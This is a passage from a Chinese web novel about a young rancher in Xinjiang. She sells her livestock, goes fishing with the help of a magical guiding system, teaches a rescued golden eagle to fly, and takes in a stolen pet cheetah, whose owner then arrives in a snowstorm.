家里有一个很久之前姚爸买的地磅，姚新泉搬了出来后引导着小羊上称。看着称上的数字姚新泉松了一口气，58公斤！ 她没有每天都给牲畜们称重，一般隔一个星期看一下体重增长情况。上一周的时候这只羊的体重是57.5公斤，这周正常喂食，体重几乎没怎么增长。 她拍了拍小羊的屁股示意另一只上称，同样，增长了不到一公斤。 “羊可以出栏了啊！”姚新泉摸了摸下巴，现在的饲料投入已经产生不了太大的回报了，可以出栏了。 牛的话也称了一下，基本都在680公斤左右，本周也就长了两公斤多。 牛也能出栏了！ 姚新泉有些激动，牧场第一笔相对较大的回款已经来了啊！ 她把牛羊关好赶忙回去打电话，“喂，马老板，我家里牛羊都能出栏了，你看要不今天过来一趟？” 对面答应下来了，主要是这两天天晴了，路上有雪但也不算太难走，车轮子上绑上防滑链，问题不大！ 此时姚新泉在想的是，家里留几头呢？ 牛得留一头！ 虽然说家里总共也就15头，但是养了这么久总不能自家一口吃不上吧？ 羊的话姚新泉打算留上五头，三个亲戚家就一家半头，马合木提江家、艾力兽医家，这是肯定要给的。 萨哈烈家之前卖羊的时候就给自己便宜了，羊也都是好羊，长得也快，以后肯定还要合作的，倒也不能小气，也得给人送一些！ 还有楼宇家，这么多年的朋友了，再加上他家也给自己帮了忙，日后都在一个县里，给人送点肉也不过分。 剩下还有些零零散散得分一下，估计家里能留上两头，也差不多了。 比起牛羊肉来姚新泉更喜欢吃猪肉，她还打算最起码买上大半头猪呢！ 毕竟家里除了她，可还有好几张嘴睁眼就要吃肉！ 马强来得很快，他还专门带了好几个师傅过来帮忙，姚新泉让他先别急。 “先杀一头羊看看咋样，咱们再谈价格。” 马强意味深长地看了姚新泉一眼，面上不显，心中却难掩自己的不屑。一个初出茅庐的小丫头片子真以为自己能养出什么贵价肉了？ 他不是没来过姚家牧场，不也就那样养嘛？也没见弄出什么花儿来啊！ 人家国外有些地方听说那是要给牛听音乐喂养长大的，虽然马强也搞不明白听个音乐咋就能让牛更好吃了，不是都说对牛弹琴吗？咋了，国外的牛就能听得懂弹琴了？ 但也许里面就是有什么门道呢？ 他也没拦，反而还主动帮着姚新泉杀羊，等他熟练地把羊剥皮拆解之后便觉得有点不对了，她家这羊身上的肌理看着不错啊！肥肉瘦肉的比例也不错，他没忍住看了姚新泉一眼，见她眼中满是笑意，他顿了顿又接着拆解。 “咱们就清炖吧，尝尝原味儿！” 姚家有一口大锅，在院子里垒了一个灶台后把小半只羊都放了进去，几人边等羊肉熟边聊天。 随着羊肉香味飘出来，狗狗军团在旁边哈喇子都要流出来了，年龄最小的点点没忍住上蹿下跳的。 几人的心思也不在聊天上了，又等了一会儿姚新泉把锅盖掀开，众人闻着那香味儿忍不住深吸一口气。 马强也不客气了，他虽然是回族，但是出来做生意之后有些事情就是不太方便太过讲究，所以拿了筷子夹起来就吃。 嫩！ 第一反应就是足够嫩，鲜嫩多汁，肉质细嫩，咀嚼时能感受到肉汁渗出，很鲜美。 脂肪多得地方不减油润感，但又不会显得肥腻，瘦肉部分纤维松散很容易咬断，也不会塞牙。 汤更是鲜美得不得了！ 马强眼神奇异地看着她，“你这羊怎么养得，这肉在我收了这么多年的羊里面不说排第一，但也绝对是前五了！” 姚新泉淡笑不语，有秘方吗？ 还真有。 这段时间她突发奇想，把家里的白菜萝卜分了一部分出来喂牛羊，也没多喂，只是适当喂了一些，两个月左右，没想到还有这种奇效！ 这堆肥配方了不得啊！ 这羊本身不错，但是也没好到了不得的地步，姚新泉还打算明年好好想办法配一下，专门用那种肉质好的羊去配！ 见她没说话马强也不追问，人家的秘方怎么可能逢人就说？ 他想了想才道，“我也不跟你打马虎眼了，过年期间市场上羊肉的价格大概在4-6块一公斤，这个是有波动的，我这段时间收的羊都是按2.2块到2.8的价格收的，你家这个我给你3块一公斤。” 姚新泉笑了笑也没拒绝，只是道，“我这羊是萨哈烈给我让利，按2.3一公斤卖给我的，这几个月的时间里面我投进去了不少。而且我家这个羊的口感你也吃了，外面市场上按4-6块来，我家最起码能卖到7块，我相信你有这个渠道，我也不多要，3.4一公斤，你看咋样？” 马强嘶了一声，这毛价格比人家肉的价格都要贵了！ 不过马强自己也知道这肉划得来！ 他才注册了一家公司，是打算以后进驻市里的一家大超市的，这批羊倒真成了他的敲门砖了！ 想到这里他也不讨价还价了，“行，我都要了！” “只能给你75头，我自己得再留4头”，煮了的这半头就让大家吃个尽兴。 马强叹气，“行吧！那牛呢？” “一样的饲养方式，我跟你保证口感绝对不会比我家羊肉的这种口感差！不过我要留一头！” 马强恨铁不成钢，你吃那么多干啥？你要吃了长肉也就算了，瘦巴巴的吃了都白吃！ “那牛肉我给你按4.3来收”，他有些警惕地看向姚新泉，“这可是我的最高价了，你要再高我是真收不起了！”现在就是希望这批牛羊能帮自己打开通路，否则保不齐还真要亏了呢！ 姚新泉想了想还是点头了，零售价一般也就5-7块左右，已经可以了。 “那行，你们上称称一下吧！” 最终称下来羯羊总共4350公斤，每公斤3.4元，总价14790元。公牛总共是9520公斤，这就是40936元，加起来总共55726元。 马强一边给他数钱一边有些心酸，“你说说你家这牧场才开了多久啊，这瞬间回款5万多，我都不想当二道贩子了，我干脆也包个牧场养羊算球！” 姚新泉笑笑没说话。 不过马强也只是说说罢了，不说别的，这牛羊买回来怎么也得将近2万块了，平时的喂养、这段时间的育肥，还有请人放牧，哪个不要钱？ 万一再生点什么疫病之类的，自家吃都不成，得掩埋掉，钱就砸在水里了，连个响都没听到！ 他当二道贩子就不一样了，只要关系打通，到手的就是到手的！ 几人走的时候姚新泉还一人给割了一块儿肉，几人高高兴兴离开了。 第25章 姚新泉又打电话找了个专门杀羊、杀牛的师傅上来,杀羊她倒不是不会，主要是毕竟是自己养大的，虽然这样说比较矫情,她真不太忍心看到杀羊的场面,更不忍心自己动手。 至于牛的话,那她确实是不会杀,只能请人。 等师傅上门来杀完牛羊后,她又专门给了他一笔钱,让他把下水给收拾出来。 冬天也没什么赚钱的法子，那师傅倒也高高兴兴地答应了，姚新泉也很高兴。 赚钱不就是为了花的吗？ 她想吃不想收拾，刚好赚了笔大的,请人收拾一下怎么了？ 等师傅收拾好之后,姚新泉从家里翻出一个大水缸,这东西虽然有可能会冻裂掉，但是短期装一下还行。 她把两头半的羊先拿出来，把剩下差不多两头挤一挤放到了缸里。 又把家里最大的几个木桶拿出来,把牛肉堆在里面,又把杂碎单独放，这才带着分割好的肉下山了。 按照计划好的分一分,算下来差不多就是三头半的羊了,哪怕姚新泉家里养羊这也不算小手笔,不过今年大家都给了她好多帮助,她也乐意给！ 千金难买她乐意！ 一路上一边送一边收，三轮车车厢里的东西一点儿没见减少，等把几家跑完后姚新泉的采购之旅只能先暂停，回家放东西去。 马合木提江家是他儿子套的兔子,也不知道家里有多少就一下给了她三只。 艾力兽医给了她好大一块鹿肉，说是他哥送的。 萨哈烈家给了她好大一捆马肠子，估计加起来有四五公斤，算下来可能比羊肉还贵。这夫妻俩手大的不行，还说明年再给她打折，把姚新泉笑得！ 楼宇家给她给了一箱苹果一箱梨，说是单位发的。 三个亲戚家给是给了她一大堆东西，她想买的鸡蛋咸鸭蛋这些不用买了，粮油米面又是一波，各类调料也有。她小姨夫也没管什么晦气不晦气的，给了她一大包各类药品，就怕到时候万一封山了有什么来不及下山治疗。 姚新泉感觉自己是去山下进了一波货，心里美滋滋地回来收拾。 不过该买的还是得买啊！ 没办法，系统预测了，从后天开始本地将迎来最起码四天的大雪，至于说为什么是四天，那是因为他总共也只能预测五天…… 姚新泉打算好好买上一波东西，年前就不打算出来了，出来一趟距离不说，还冷啊！ 姚新泉缩了缩脖子，去了县里的新华书店，满载而归！ 她把金庸的、古龙的、梁羽生的凡是能在书店里买到的武侠小说都拿了一本，还有亦舒的、张爱玲小说也都买了好几本。 姚新泉掐指算了算，加上自己家里那些专业书籍，怎么也够打发一个冬天的时间了吧？ 零食糖果、馕饼、糕点之类的也都采购了一波，反正天冷能放！ 等把东西买得差不多的时候她突然想起来，现在是不是还能去捞一波鱼？ 牧场上的那条河确实不算宽，但是在河流的上游有一块儿地方其实有点像个水潭了，她路过好几次，心里总想着可以去捞鱼吃，不过从回来到现在除了下雨下雪姚新泉几乎就没闲下来过，哪 里有时间去钓鱼？ 她找了好几个地方终于在一家五金店里买到了鱼竿，也不知道结不结实，万一能钓到一米长的大鱼呢？嘿嘿。 第二天早晨喂完牲畜后她就带着皮皮和娜娜、塔塔走了，留下剩下三只看家，至于点点他还太小了，跑步耐力不太行，她懒得带。 现在家里需要小心喂养的牛羊送走了一波，也就母牛的饲养上需要再稍微注意一些了，姚新泉瞬间感觉自己肩膀上的担子轻了好多。她飞快地给剩下的牲畜喂好饲料，带着小动物们就去了那个水潭。 北疆这边有许多本地鱼种，不过姚新泉认识得不多。 因为小金雕的原因，她现在基本一个月会跟林业局联系一次，当他们局长知道自己牧场有河流的时候没忍住就跟她科普了一下，按照对方的说法是，八八年的保护动物名录里不少动物确实没列进去，但是实际上数量也不算特别多，希望她能稍微注意一点，比方说一种叫做哲罗鲑的冷水鱼。 姚新泉有点心累，局长还特意把哲罗鲑的照片给她看，老实讲，这玩意儿除非长到成年体长，比方说一两米这样，不然谁认识谁啊？ 她认识的鱼也就鲤鱼、五道黑这种。 反正听了局长的话，姚新泉是打定主意了，甭管什么保护不保护的，她只要自己认识的就成！ 当地有野生鲤鱼，实在不行就只要鲤鱼？别的都放生？也不知道那河里有没有。 如今的温度已经挺低的了，河面上结了一层冰，不算厚，至少姚新泉是不敢上冰的。 她专门带了铁锹过来，找了个背风的地方，在冰上一个范围内敲敲敲敲，再找了块儿大石头砸下去。 好家伙，至少五六个平方的冰是碎了。 她也不讲究那么多，也没打窝什么的，把自己的鱼竿鱼线都收拾好，再把自己提前准备好的冻的梆硬的羊油面团饵料穿上，又找了两块儿石头，一块撑着，一块儿压着鱼竿。 随后将鱼钩轻轻扔到了河里，把鱼竿撑住又用石头压住，这才在小板凳上坐了下来。 她搓了搓手，赶忙把皮手套穿上，冻死了冻死了！ 几个小家伙也不嫌冷，就那么窝在雪坑里，娜娜更是在里面打了个滚，随即站起身来用力一抖，姚新泉被甩了一脸的雪沫子。 没等她生气，剩下几只已经跟她闹了起来，见皮皮张着嘴就要去咬她，姚新泉笑得不行。 一匹小马天天咬人也是服了！ 不过看岸上吵成这样，姚新泉是觉得这钓鱼估计是没戏了，就当来带几个崽冬游吧！ 姚新泉已经做好了空手而归的准备，不想鱼线被用力扯了一下。 姚新泉眼睛一亮，赶忙拉起鱼竿往上用力，远远就见一不小的鱼顺着劲儿飘了过来，掉在了地上。 鱼还在地上扑腾呢，姚新泉凑了过去，皱眉看了一会儿，“这是鲤鱼吧？” 系统突然出声，“是的呢！” 姚新泉眼睛一亮，对啊，有系统在，不愁认不出来啊！ 这下她来劲儿了，把鱼取下来放到桶里，倒也没放水，这个天气，在外面冻半个小时就冻透了，完全不需要水。 她把鱼饵换了一下又抛进了河里，过了几分钟等鱼线有动静后一拉，竟然又上鱼了！ 不等姚新泉问，系统自己便出声了，“新省裸重唇鱼，如今还不是保护鱼类。” 听出不对了，姚新泉皱眉反问，“如今？” “嗯哼！因为栖息地的破坏以及人类的捕杀，如今还不是保护鱼类的它，再过些年就是喽！” 姚新泉抓着鱼的手僵了僵，赶忙把鱼钩取下来把鱼扔进了河里，“破鱼，看着就不好吃，谁稀罕！” 之后姚新泉持续上货，“恭喜你，准格尔雅罗鱼！目前还不是保护鱼类。” 姚新泉咬牙，好一个目前还不是！ “不好吃！下一个！”扔回水里。 上钩！ “恭喜你！细鳞鲑，目前还不是哦！” 扔！下一位选手准备！ “恭喜你！你中奖了！这一位选手如今已经是国家一级保护动物了！让我们大声喊出这位选手的名字！新！疆！大！头！鱼！恭喜你，宿主，请问你现在是什么感受呢？” 姚新泉冷笑一声，小心解下鱼钩，小心将这位大佬放回了河里，随后面无表情地收拾东西，“打道回府！” 系统毫不留情地嘲笑她，姚新泉咬牙。 “其实目前还没有被列为保护动物或者鱼类的你就是可以吃啊？”笑完后系统才道。 姚新泉哼哼两声，“我都知道人家未来数量稀少需要国家或者自治区去出动人力物力去保护了，我就那么馋啊，非吃那口鱼不可？吃那口鱼我是能长生不老还是白日飞升啊？” 你说让她去做什么保护动物的举措，可能因为牧场事务繁忙的原因她做不了太多，但是这种举手之劳自然是要做的。 不然她过不了心里那道坎儿！ 系统满意地笑了，也不再逗她。 “经检测，宿主所在地西南方八百米处有一个鲤鱼群，这是人工养殖时偷跑出来的，如果需要，宿主可自行选购。” 姚新泉噗嗤笑出声来，“行行，我现在就去‘选购’！” 果然系统还是靠谱的，这边全是鲤鱼，数量多还大，半个上午的时间，她钓了两大桶回去，足够吃了。 回去的路上姚新泉突然在心里道，“系统，谢谢你啊！” 系统没说话，但是姚新泉能感觉得出来它也是高兴的。 把鱼放在外面，盖上盖子。姚新泉吃了午饭后下午还有活动，那就是教小金雕飞行！ 这小家伙的翅膀应该已经足够支撑她飞行了，不过也不知道是不是当初小时候被打击了积极性，这小家伙现在还是只乐意扑腾，不喜欢正儿八经去飞。 下午换了另外四个小崽（包括点点）以及皮皮这个多动症患儿一起出发，其实不远，就在当初救小金雕的云杉林里。 她从这里将小金雕救了下来，如今又要在这里教会小金雕飞行，想想其实还挺有意思的。 第26章 小金雕似乎知道这一趟出门是来做什么的,她兴致很高，在姚新泉怀里叫个不停，吵得姚新泉脑门儿疼。 等到了地方后几个小家伙自己跑着去玩了,这边就留了姚新泉跟小金雕两个。 在让她飞行前,姚新泉打算先把思想工作做通。 “小金啊！你是雕,你是金雕！你是天空的霸主！你甚至在生物链中都找不到一个正儿八经的天敌！你多牛啊！” 也不知道是不是因为彩虹屁吹得太好了,小金雕昂首挺胸,差点儿背过去。 小金雕已经跟刚被救助的时候长得不一样了,比当时好看太多！ 此时小金的主体还是深褐色，不过她头部跟颈部的羽毛已经泛起了金色的光泽，尾巴跟翅膀上倒还有一些白色斑纹，毕竟小金虽然五个来月,但人家也还是幼鸟呢！ 不过现在的小金已经是个大家伙了,前两天给她上了一次称,已经三公斤多了。问了林业局长，说这个体重算是标准体重里面比较健康的小家伙了。 她母鸡蹲的时候还是小小一只，但是当小家伙把翅膀伸开的时候,翼展有一米七！ 跟她站直了一样高！ 这么大的翅膀就应该上天啊！ 姚新泉把小金哄高兴了,“宝贝小金啊，你还记得当初我就是在这里把你救下来的吗？你想想当时我爬上去多艰难啊！” 姚新泉托着小金到了那颗云杉树旁边,指着树上的痕迹道,“你看,当时要不是我这个脚蹬子能扎到树皮里面,我早就摔下来了！” “可你不一样啊！你是金雕！你是最大的雕啊！你就是属于天空的！”姚新泉激情澎 湃地演讲，恨不得上前两步，啊！天空！ 但是转过头就见小金歪着脑袋看着她，看的姚新泉有些尴尬。 她清了清嗓子进入正题,“这样，我把你先放到旁边那棵小树上，你先试着往下飞行吧？” 接着她又努力去想该怎么形容飞行的感觉，或者不行之后去动物园想办法给孩子找个老师？ 姚新泉愁的不行，她又没有饲养过禽类，这不应该自己就会上天吗？咋还非要她教呢？ 小金像是明白了也好像没明白，被放在树枝上后她稳稳站定，没叫也没动。 倒是姚新泉，她又一再叮嘱，“你别怕”，想了想又道，“要是飞不起来也别怕，你这个高度不高，我能接住你，你别怕摔啊！” 嘀嘀咕咕半天后姚新泉忧心忡忡地退后，刚抬起头想让小金可以飞了的时候，就见小金似一道利箭一般冲上云霄！ 姚新泉张大了嘴，她现在觉得自己像个傻子！ 谁能想到这个浓眉大眼的家伙竟然会演戏吓自己！ 她还担心小金坠机呢，结果人家自己在天上玩儿云霄飞车！ 可看着天空中小金的那对大翅膀姚新泉又忍不住笑了起来，臭丫头，飞得真好！ 眼眶都酸酸得是怎么回事呢！ 小金飞得很快，姚新泉没一会儿就看不到她了。她心里慌了一下，这孩子不会飞走就不回来了吧？ 想到这里她没忍住往前走了两步，可突然又停了下来，脸上表情很是惆怅。 小金本就是野生动物，不是自己牧场上养着的牛啊羊啊可以比的。自己也没有她的抚养权，只是帮忙照料而已。 如今她长大了，她本就归属于天空，她不是自己养的小鸡，她是搏击长空的金雕啊！ 姚新泉叹了口气，失落地垂下了头，可眼前突然落下的东西将她吓了一跳，“什么玩意儿？” “野兔？” 她拎起兔子，想到什么赶忙抬头看，就见小金稳稳落在了枝头，歪着头看向她，远远就能感受到这孩子的高兴。 姚新泉眼睛瞬间便红了，她伸出一只胳膊，“小金，来！” 小金轻巧地落在了她的胳膊上，小心没有抓破她的军大衣，又歪着头蹭了蹭她。 姚新泉吸了吸鼻子，“你舍不得我对吗？舍不得大家对吗？” 虽然不知道她在叫什么，但是姚新泉能感觉到她在安慰自己，笑着亲了亲她的翅膀，拎着兔子就往回走。 “皮皮他们呢？” 小金雕刚才飞得高自然是看到他们了，虽然不知道姚新泉在说什么，可是她很熟悉皮皮的名字，就要飞着给她带路。 姚新泉也没阻止，开着三轮车就往那边去。 还没到地方就听到了几声狗叫，听声音似乎是受到了威胁，姚新泉心里一紧，她加足马力往那边赶了过去。 等到了地方后姚新泉才觉得不对，怎么回事儿？狗子们跟小马在围栏里面叫，难道外面有什么东西？ 她皱眉靠近，就见外面躺了一只动物，姚新泉愣了一下，不是，这玩意儿是豹子吧？ 这是猎豹啊！ 老天爷，这猎豹不是非洲的本土生物吗，什么时候新省还有猎豹了？ 难道说这是被人偷渡回来的还是怎么样？ 姚新泉正发愣就听到系统突然发布任务，“经检测，宿主正北方10米处有一只因低温被冻伤的非洲猎豹需要救助，宿主是否救助？” 姚新泉叹气，你咋不等我贴上去了再发布任务呢？ 行吧，还真是非洲猎豹。 别说她本来也想救的，如今既然系统发布任务了，那就顺水推舟吧！ “你们先回家，我绕出去把豹子带回来”，姚新泉安排好了之后也没管他们，主要几条狗狗，哪怕点点才几个月大也是老大一只了，三轮车根本坐不下好嘛？ 她骑着车很快就绕到了猎豹身边，见猎豹似乎已经失去意识了，姚新泉没忍住皱了皱眉。 “系统，治愈术”，这是她第一次对动物使用治愈术，不知道效果怎么样，但现在也没别的办法了。 “小家伙，我把你抱到车上，你不许咬我啊！”她小心翼翼将猎豹抱了起来，这一抱就没忍住皱了皱眉，太轻了。 这小家伙的体型差不多已经接近成年猎豹了，但是姚新泉感觉得出来，它还没成年。 不过这种接近成年的豹子正常体重应该在五六十公斤，但是她手上抱着的这只最多也就30公斤，还没她家羊重呢！ 她把家里带来的羊毛毯子铺到豹子身上，把它包了起来，期间治愈术持续使用。 等把豹子放下后姚新泉脚步有些踉跄，她扶住了三轮车，忍不住在心里咬牙切齿地问，“系统，你别告诉我这个治愈术是抽了我自己的生机之类的去治疗动物，我可还没那么无私呢！” 活着才能说以后，她是喜欢动物，也乐意去救助它们，可不代表可以让她放弃生命！ 上次救助小金的时候她腰上缠了安全绳，脚上有能扎到树干里的脚蹬子，安全是有保障的！ 但是如果是这种无声无息抽取她的生命的话，姚新泉真的会爆炸！ 感受到姚新泉的愤怒了，系统赶忙解释，“没有任何问题，我们出厂时就被设定了不会做出任何不利于宿主的事情。这是我的问题，是我没有提前跟你说明白。治愈术不会伤到你的身体，但是有使用次数限制，每日1次。只是也不能说没有副作用，不过这个副作用也只是让你有轻微低血糖患者的症状，吃颗糖就能缓解，就算不吃糖你歇上三五分钟也会好的！” 姚新泉没说话，只是从口袋里拿出了一颗糖放入嘴中，随着身上力气的恢复，她的心也逐渐放回了胸腔中。 “系统，我不追究你的来历，但我希望你不要做出任何我不能容忍的事情。” 系统老实又乖巧地嗯了一声，可也不免有些委屈地吐槽，它的一切行为都要通过姚新泉去做啊！ 退一万步说就算这治愈术真有问题，姚新泉不用他不也一样一点办法没有？ 姚新泉缓过来之后她轻轻摸了摸小猎豹的脑袋，骑着车往家里赶，没有注意到当她转身的时候猎豹就睁开眼一直看着她了。 姚新泉把猎豹放在了客厅，那边小崽子们太多，不利于休息。 她在地上又铺了一层羊皮褥子，把猎豹放在地上然后摸了摸小家伙的爪子，又观察了下它的的耳朵、尾巴，看完后这才松了口气，还好只是微微泛白，算是冻伤的早期症状了。 如果说它的皮肤发紫、肿胀甚至出现溃烂或者水泡那就真的完蛋了，严重冻伤，能保住小命都不错了，搞不好要截肢呢！ 早期冻伤可以把它放到37度到40度的温水里浸泡，但是姚新泉家里没这个条件，所以她翻出了好几块儿毛巾，泡了温水之后拿出来轻敷。 家里毛巾这类的东西特别多，都是她小姑搬过来的，说是厂家便宜批发的，让她拿着用，所以此时根本不缺毛巾。 等敷了一阵后她把毛巾取下来的时候才注意到小猎豹已经睁开眼睛了，姚新泉笑了下，“你醒了啊？你前面冻昏在雪地里了，我把你抱回来，给你简单处理了一下。你皮肤上倒没冻破，我先给你把水擦干，你乖乖得不许咬人啊！” 感受到它情绪很平稳，姚新泉小心翼翼地试探着去触碰它，没感觉到有反抗的意思她这才松了口气将它身上擦干，又用羊毛毯给它盖上。 “你冻伤的不太严重就先不给你用药了啊！门我没关，你要上厕所的话自己出去，我先去喂牛羊了。” 小猎豹也不傻，目光追随着她离开后便老实趴在地上不动了。 等喂过牛羊后她又回来做了饭，给几个小动物都喂了饭后给小猎豹也添了些化了的牛羊肉，放了一盆水在一边。 “明天我联系下公安局那边看看是什么情况，你也不是咱们本地的豹子，肯定是有人带你来的，现在天黑的早也不能让人家大晚上地过来，等明天吧！” 确定了它没有什么不舒服后姚新泉便安心回去睡觉了，却不知道县公安局此时已经乱成一锅粥 了。 第27章 “那猎豹不是野生动物吗,谁允许他随意饲养的？现在丢了倒知道找我们想办法了，我们到哪儿想办法去？”一名小警察小声抱怨道。 “行了，说那么多有什么用？人家那猎豹有合法来源的,那是从非洲那边救下来的猎豹,听说本来要放生的,但后来经过什么评估,说是那豹子心理有问题,不适合放生,所以他家想办法得了上面的批条领养了那豹子，是办了合法手续的！” “特权阶级！资本家！” “行了，闭嘴！”队长呵斥了这群人，他们什么都不知道,事情哪有这么简单？ 人家特批得到这张条子是因为人家给新省这边捐了几百条公路！ 而且人家本身就为国家做过许多贡献,只是身体不太好退下来了而已,综合种种原因上面才批的条子！ 再说了，这也不是人家乱跑，人家还气呢！好端端来旅游,结果豹子被人偷走了！ 没错,那豹子是被人注射了药物之后给带走的！ 要他说这豹子如今下场可能不太好！那些人如果是想偷了之后卖掉去饲养倒还好，好歹有一条命,怕的就是为了豹子的皮毛之类的！ 如果逃走了也麻烦,人家那是热带的动物,你把人放到零下十来度的天气里,这还想好？ 最让人头疼的是，这豹子是在人家主人被县领导请去吃饭的时候偷偷弄走的！这不知道的还以为是县领导跟人串通了呢！ 想到这里他就头痛！如今苦主在外面等着他们办案的结果，也不知道去抓人的人回来了没有！ 张磊正烦着，突然听到下属进来说,“偷豹子的人抓到了！” 他精神一震赶忙快步走了过去，看到坐在大厅里等着的师月江，张磊只觉得头皮发麻，赶紧走过去道，“偷走猎豹的人已经抓到了，我们这就去审问，师同志你再等一等。” 师月江点头，脸上看不出什么太大的神情波动，可熟悉他的人都知道他已经到了忍耐的边缘了。 又过了许久，师月江甚至忍不住在想，是不是自己的莱尼已经死了！ 他不是不想找人帮忙，问题是这并不是他的大本营，现在对于莱尼到底是被人运走了还是还在本地逃走了他都不知道，他能怎么做？ 如果市区有人发现了豹子肯定会报警的，可现在没有。 如果跑到山林或者草原上，难道他组织人在零下十来二十度的天气里去搜山？ 万一出点什么事儿可怎么办？莱尼很重要，可是再重要也没有人命重要啊！ 他只能等。 公安局电话响了，有人叫他去接电话，师月江接起了电话，“大哥。” 师星野嗯了一声，“莱尼还没找到吗？” 师月江沉默着没说话，师星野就知道什么情况了，他也沉默了。他甚至开始自我怀疑，当初为什么要送给他一头小豹子？送个猫猫狗狗不一样能陪伴他，陪他走出来吗？ 师星野不说话，师月江也沉默着，谁也没有挂电话。 过了一会儿张磊突然跑了出来，“师同志，那人说豹子已经跑了，中午那阵儿就跑了！” 师星野的心都凉了，北京如今的温度已经差不多到零下了，新疆省那边还是山区，海拔也不低，这种温度下一只热带的猎豹真的还有生还的余地吗？ “月江，也许会有人收留莱尼的！我这边走不开，我再联系一下当地的领导看能不能再想想办法！” “不用了大哥，你先忙吧”，说完便把电话挂了。 这一晚上师月江跟师星野两人都没怎么睡好，师月江是从那边退下来之后就再也没有睡过一个安稳觉了。 从小到大他的体能都很强，也很聪明，无论在专业技能还是语言能力、团队协作能力各方面他全是顶尖的。因此军校还在读的时候便被特招进了维和部队，那时候的他是意气风发的，他满心都想着要为了维护世界的和平与安全、保护普通民众的生命权益而奋斗终身。 可惜这一切在与自己通吃同住的战友牺牲后戛然而止，他患上了严重的创伤后应激障碍，也就是PTSD，已经不符合留在部队的条件了，他退伍回到了家中。 从那之后他没有睡过一个好觉，即便睡着了梦中也总在反反复复地回忆起当初的事情，情绪崩溃的同时身体也愈发衰弱下来。 因为他从小就喜欢小动物，师星野还曾给一支非洲那边的动物救助组织资助过，就这样，他接触到了莱尼。 莱尼也是一个可怜的孩子，她的母亲被鬣狗分食了，如果不是动保组织的干预，她也会死在鬣狗嘴下。 该组织饲养了一段时间后发现莱尼不知道为什么似乎已经丧失了独自生活的能力，野化训练做得特别差，没办法只能对接动物园看看把莱尼送到哪家动物园去生活。 就这样师月江阴差阳错地接触到了莱尼，并且自回家之后第一次主动提出了自己的想法，他想养莱尼。 师星野心疼这个弟弟，自然是他说什么都答应的。师星野虽然也就比师月江大两个小时，可两人感情特别好，他完全不会觉得麻烦，只会想办法帮他达成目的。 此时国内对于野生动物饲养的相关法律并不健全，师星野在付出了不小的代价后还是拿下了上面的批条。 可惜，似乎结果还是很不好。 想到这里师星野心里就一阵憋闷，“小李，你帮我订一下明天最早飞新省的飞机。” 李秘书有些为难，“老板，我已经问过了，因为天气原因，飞机停飞了。这次的大雪席卷了新省大部分地区，新省全线停飞。” “大雪啊！”师星野叹气，那是不是莱尼存活的可能性就更小了呢？ 如果莱尼没了，弟弟一个人在那山高皇帝远的地方怎么办？他怎么承受得住莱尼离自己远去呢？ “小李，你去联系一下动保组织那边，问一下还有没有丧母的适龄小豹子！” 如果莱尼没了，不行就再送弟弟一头！大不了再捐一批公路出去！ 家里就他们兄弟两个，这偌大的家业不用在弟弟身上用在谁身上？ 外面的事情姚新泉都不知道，第二天一早确认小豹子恢复得还可以，身上各处都没有严重冻伤的痕迹后她彻底放下心来。 “也不知道是它身体好还是运气好，或者是金手指好？”姚新泉嘀咕了两句就按部就班地完成了今日任务。 听着外面北风呼啸，姚新泉摸了摸小豹子的耳朵，“你说这么大的风，雪马上就来了，我现在打电话的话他们还能上山吗？” 姚新泉叹了口气拿起了电话直接拨给了离自己最近的那家派出所，当派出所接电话的人听到电话里的内容后人都傻了，电话也没挂大喊了一声，“找到豹子了！” 姚新泉嘶了一声皱眉把电话拿开，也不知道那边什么情况莫名其妙就把电话给挂了。 反正她已经说了也就没再管那么多，把家里一个小磨盘翻了出来，早晨特别想喝豆浆，今天磨一点儿吧！ 师月江听到有人捡到莱尼之后人都傻了半晌没回过神儿来，“在哪里？它在哪里？” 张磊跟他讲了地址后还是拦了一下，“师同志，你听外面的动静，雪已经开始下了，这个天气我们单位没公车，摩托车上不了山啊！” 师月江不动声色地点了点头，“莱尼既然被好心人捡到了，那我也放心了，不会急着过去的，等雪停了再说吧！” 张磊观察了一会儿他的表情，见他好像真是这么想的不由嘀咕，现在放心了？那怎么昨天那个样子？ 两人又聊了几句话，不知不觉间师月江套到了姚新泉的地址，回了酒店开上车就往目的地进发。 莱尼会不会冻伤？她有没有哪里不舒服？自己一定要立马见到她！ 牧场里姚新泉在热乎乎的客厅里喝着豆浆时突然听到了一阵狗叫声，她觉得不对，套上外套带上雷锋帽便出去了。 就见狗狗军团们围着一个高大的男人，看不清眉眼，但估摸着身高得快一米九了吧！ “你好，请问莱尼在你家吗？” 莱尼？姚新泉愣了一下，刚想问什么就见眼前的男人朝自己倒了下来，她吓了一跳赶忙小心接住了他。 好家伙，冻晕了？ 没办法，姚新泉只能先让狗狗军团们回屋，自己小心背着男人往屋里走，她心想，这男人看着骨架子大，衣服一裹跟头熊一样，实际上背起来最多70公斤。 一米九的大男人啊！七十公斤！ 她把人背回客厅后，将他被雪覆盖的外套和帽子都取掉，又把鞋子给他脱掉后把人放在了沙发上，没想到一旁的小豹子突然拖着有些发软的身体勉强移了过来，目光一动不动地看着男人。 姚新泉突然笑了起来，“原来你就是莱尼啊！” 她可真高兴！ 原来小豹子不是被人偷猎的，不是被人遗弃的，它有一个愿意为了找它冒着迷失在暴风雪中风险招过来的好家人呢！ 想到男人方才拎得包，姚新泉哎呦一声又赶忙跑出去把东西拎了回来。 再过一会儿被雪埋了可就找不到了！ 第28章 师月江是在一阵甜香中苏醒过来,他一睁开眼就看到了蹲坐在自己面前的莱尼，眼神一下就温柔了起来。 他想抬起手，这才发现自己身上盖了一条被子,很是暖和。 他摸了摸莱尼的头站起来后才发现,自己身上的羽绒服、冲锋衣还有冲锋裤都被脱掉了,鞋子袜子也全脱了,屋里很是温暖。 他穿上放在沙发边上的拖鞋,顺着香味走到了厨房,姚新泉听到动静一抬头就见到师月江朝自己笑。 师月江的笑很有感染力，那么高大的男人竟然还是个杏眼，看起来减龄也很无害。 姚新泉也朝他笑了笑，“你醒了啊？莱尼是小猎豹的名字吗？” 师月江点头,他探头看了一眼趴在沙发前的莱尼,“她叫莱尼,现在一岁半了，我是合法饲养她的”，说着想去翻自己随身带着的证明,被姚新泉笑着阻止了。 “我相信你”,从莱尼对他的态度来说他们肯定是有过长时间的亲密相处的。自己报警之后那边动静那么大，肯定是这家伙已经把山下闹得天翻地覆了。这些都是她的猜测,当然了,最重要的是姚新泉打电话跟山下核实过了。 姚新泉眼中闪过一抹狡黠,她又不是傻子,还能随便收留一个陌生男人？还又是给他换衣服又是给他盖被子的？ 这不是听公安那边讲这个家伙家里给新省捐了好多条路嘛！为了这个她也很感谢对方！ 